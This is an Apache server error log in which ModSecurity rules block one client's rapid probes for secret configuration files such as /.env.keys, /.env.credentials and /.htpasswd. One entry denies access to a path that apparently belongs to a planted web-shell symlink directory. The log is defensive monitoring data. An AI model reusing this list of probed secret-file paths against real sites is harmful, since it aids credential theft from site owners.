[Sun Oct 25 10:20:58.131511 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 98.83.72.38:30959] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:21:02.227982 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 3.208.146.193:57545] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:21:10.258833 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 34.205.163.103:39536] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:21:18.180517 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 34.239.85.139:36721] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:21:19.817077 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 185.191.171.15:46162] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:21:20.976269 2026] [core:error] [pid 2834019:tid 2834019] (13)Permission denied: [client 185.191.171.19:42930] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_rmap_item/cpu_slabs
[Sun Oct 25 10:21:30.144257 2026] [ssl:error] [pid 2842301:tid 2842301] (70014)End of file found: [client 18.208.11.93:1844] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:21:31.826551 2026] [security2:error] [pid 2834025:tid 2834025] [client 35.204.239.58:42536] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "direc2.sherwinpinturas.com"] [uri "/"] [unique_id "at4Qa6Gxe7V6jzF5H8VNawAAABg"]
[Sun Oct 25 10:21:31.826878 2026] [security2:error] [pid 2834025:tid 2834025] [client 35.204.239.58:42536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/"] [unique_id "at4Qa6Gxe7V6jzF5H8VNawAAABg"]
[Sun Oct 25 10:21:31.827150 2026] [security2:error] [pid 2834025:tid 2834025] [client 35.204.239.58:42536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/"] [unique_id "at4Qa6Gxe7V6jzF5H8VNawAAABg"]
[Sun Oct 25 10:21:32.343119 2026] [security2:error] [pid 2821699:tid 2821699] [client 35.204.239.58:42498] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "direc2.sherwinpinturas.com"] [uri "/"] [unique_id "at4QbJBSQk9YSmLuOvuRjAAAAAM"]
[Sun Oct 25 10:21:32.343544 2026] [security2:error] [pid 2821699:tid 2821699] [client 35.204.239.58:42498] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/"] [unique_id "at4QbJBSQk9YSmLuOvuRjAAAAAM"]
[Sun Oct 25 10:21:32.343797 2026] [security2:error] [pid 2821699:tid 2821699] [client 35.204.239.58:42498] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/"] [unique_id "at4QbJBSQk9YSmLuOvuRjAAAAAM"]
[Sun Oct 25 10:21:32.495916 2026] [authz_core:error] [pid 2834019:tid 2834019] [client 35.204.239.58:42510] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/direc2/.htpasswd
[Sun Oct 25 10:21:32.646123 2026] [security2:error] [pid 2834020:tid 2834020] [client 35.204.239.58:42588] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.keys"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at4QbBus_mjnPB8X3pG-WQAAABI"]
[Sun Oct 25 10:21:32.646281 2026] [security2:error] [pid 2834020:tid 2834020] [client 35.204.239.58:42588] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at4QbBus_mjnPB8X3pG-WQAAABI"]
[Sun Oct 25 10:21:32.646565 2026] [security2:error] [pid 2834020:tid 2834020] [client 35.204.239.58:42588] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at4QbBus_mjnPB8X3pG-WQAAABI"]
[Sun Oct 25 10:21:32.683983 2026] [security2:error] [pid 2834019:tid 2834019] [client 35.204.239.58:42510] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.secret"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at4QbEsgp-xlBP1GcWOSYQAAABE"]
[Sun Oct 25 10:21:32.684351 2026] [security2:error] [pid 2834019:tid 2834019] [client 35.204.239.58:42510] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at4QbEsgp-xlBP1GcWOSYQAAABE"]
[Sun Oct 25 10:21:32.684779 2026] [security2:error] [pid 2834019:tid 2834019] [client 35.204.239.58:42510] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at4QbEsgp-xlBP1GcWOSYQAAABE"]
[Sun Oct 25 10:21:32.688610 2026] [security2:error] [pid 2847138:tid 2847138] [client 35.204.239.58:42568] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at4QbKZ77hUnuhW6b3ZPMwAAAAA"]
[Sun Oct 25 10:21:32.688919 2026] [security2:error] [pid 2847138:tid 2847138] [client 35.204.239.58:42568] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at4QbKZ77hUnuhW6b3ZPMwAAAAA"]
[Sun Oct 25 10:21:32.689295 2026] [security2:error] [pid 2847138:tid 2847138] [client 35.204.239.58:42568] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at4QbKZ77hUnuhW6b3ZPMwAAAAA"]
[Sun Oct 25 10:21:32.721464 2026] [security2:error] [pid 2834025:tid 2834025] [client 35.204.239.58:42536] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at4QbKGxe7V6jzF5H8VNcAAAABg"]
[Sun Oct 25 10:21:32.721731 2026] [security2:error] [pid 2834025:tid 2834025] [client 35.204.239.58:42536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at4QbKGxe7V6jzF5H8VNcAAAABg"]
[Sun Oct 25 10:21:32.722018 2026] [security2:error] [pid 2834025:tid 2834025] [client 35.204.239.58:42536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at4QbKGxe7V6jzF5H8VNcAAAABg"]
[Sun Oct 25 10:21:32.737904 2026] [security2:error] [pid 2834008:tid 2834008] [client 35.204.239.58:42574] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at4QbIxkYfnWL-SU_mhrfwAAAA0"]
[Sun Oct 25 10:21:32.738183 2026] [security2:error] [pid 2834008:tid 2834008] [client 35.204.239.58:42574] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at4QbIxkYfnWL-SU_mhrfwAAAA0"]
[Sun Oct 25 10:21:32.738436 2026] [security2:error] [pid 2834008:tid 2834008] [client 35.204.239.58:42574] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at4QbIxkYfnWL-SU_mhrfwAAAA0"]
[Sun Oct 25 10:21:32.740661 2026] [security2:error] [pid 2842300:tid 2842300] [client 35.204.239.58:42600] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at4QbPrIyYTZs3Zw4AltgQAAAAE"]
[Sun Oct 25 10:21:32.740815 2026] [security2:error] [pid 2842300:tid 2842300] [client 35.204.239.58:42600] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at4QbPrIyYTZs3Zw4AltgQAAAAE"]
[Sun Oct 25 10:21:32.741063 2026] [security2:error] [pid 2842300:tid 2842300] [client 35.204.239.58:42600] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at4QbPrIyYTZs3Zw4AltgQAAAAE"]
[Sun Oct 25 10:21:32.742557 2026] [security2:error] [pid 2842301:tid 2842301] [client 35.204.239.58:42598] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at4QbLAXYX-KZxBobEnROwAAAAI"]
[Sun Oct 25 10:21:32.742719 2026] [security2:error] [pid 2842301:tid 2842301] [client 35.204.239.58:42598] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at4QbLAXYX-KZxBobEnROwAAAAI"]
[Sun Oct 25 10:21:32.742991 2026] [security2:error] [pid 2842301:tid 2842301] [client 35.204.239.58:42598] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at4QbLAXYX-KZxBobEnROwAAAAI"]
[Sun Oct 25 10:21:32.744071 2026] [security2:error] [pid 2815605:tid 2815605] [client 35.204.239.58:42582] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at4QbAYPMfHr0EMMDlnoOAAAABM"]
[Sun Oct 25 10:21:32.744228 2026] [security2:error] [pid 2815605:tid 2815605] [client 35.204.239.58:42582] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at4QbAYPMfHr0EMMDlnoOAAAABM"]
[Sun Oct 25 10:21:32.744499 2026] [security2:error] [pid 2815605:tid 2815605] [client 35.204.239.58:42582] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at4QbAYPMfHr0EMMDlnoOAAAABM"]
[Sun Oct 25 10:21:32.766817 2026] [security2:error] [pid 2821699:tid 2821699] [client 35.204.239.58:42498] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at4QbJBSQk9YSmLuOvuRjwAAAAM"]
[Sun Oct 25 10:21:32.767058 2026] [security2:error] [pid 2821699:tid 2821699] [client 35.204.239.58:42498] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at4QbJBSQk9YSmLuOvuRjwAAAAM"]
[Sun Oct 25 10:21:32.767351 2026] [security2:error] [pid 2821699:tid 2821699] [client 35.204.239.58:42498] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at4QbJBSQk9YSmLuOvuRjwAAAAM"]
[Sun Oct 25 10:21:32.767404 2026] [security2:error] [pid 2834020:tid 2834020] [client 35.204.239.58:42588] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at4QbBus_mjnPB8X3pG-WgAAABI"]
[Sun Oct 25 10:21:32.767585 2026] [security2:error] [pid 2834020:tid 2834020] [client 35.204.239.58:42588] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at4QbBus_mjnPB8X3pG-WgAAABI"]
[Sun Oct 25 10:21:32.767819 2026] [security2:error] [pid 2834020:tid 2834020] [client 35.204.239.58:42588] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at4QbBus_mjnPB8X3pG-WgAAABI"]
[Sun Oct 25 10:21:32.823700 2026] [security2:error] [pid 2806348:tid 2806348] [client 35.204.239.58:42524] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.prod.local"] [unique_id "at4QbA-YVEbWS5meiuhlYwAAAAw"]
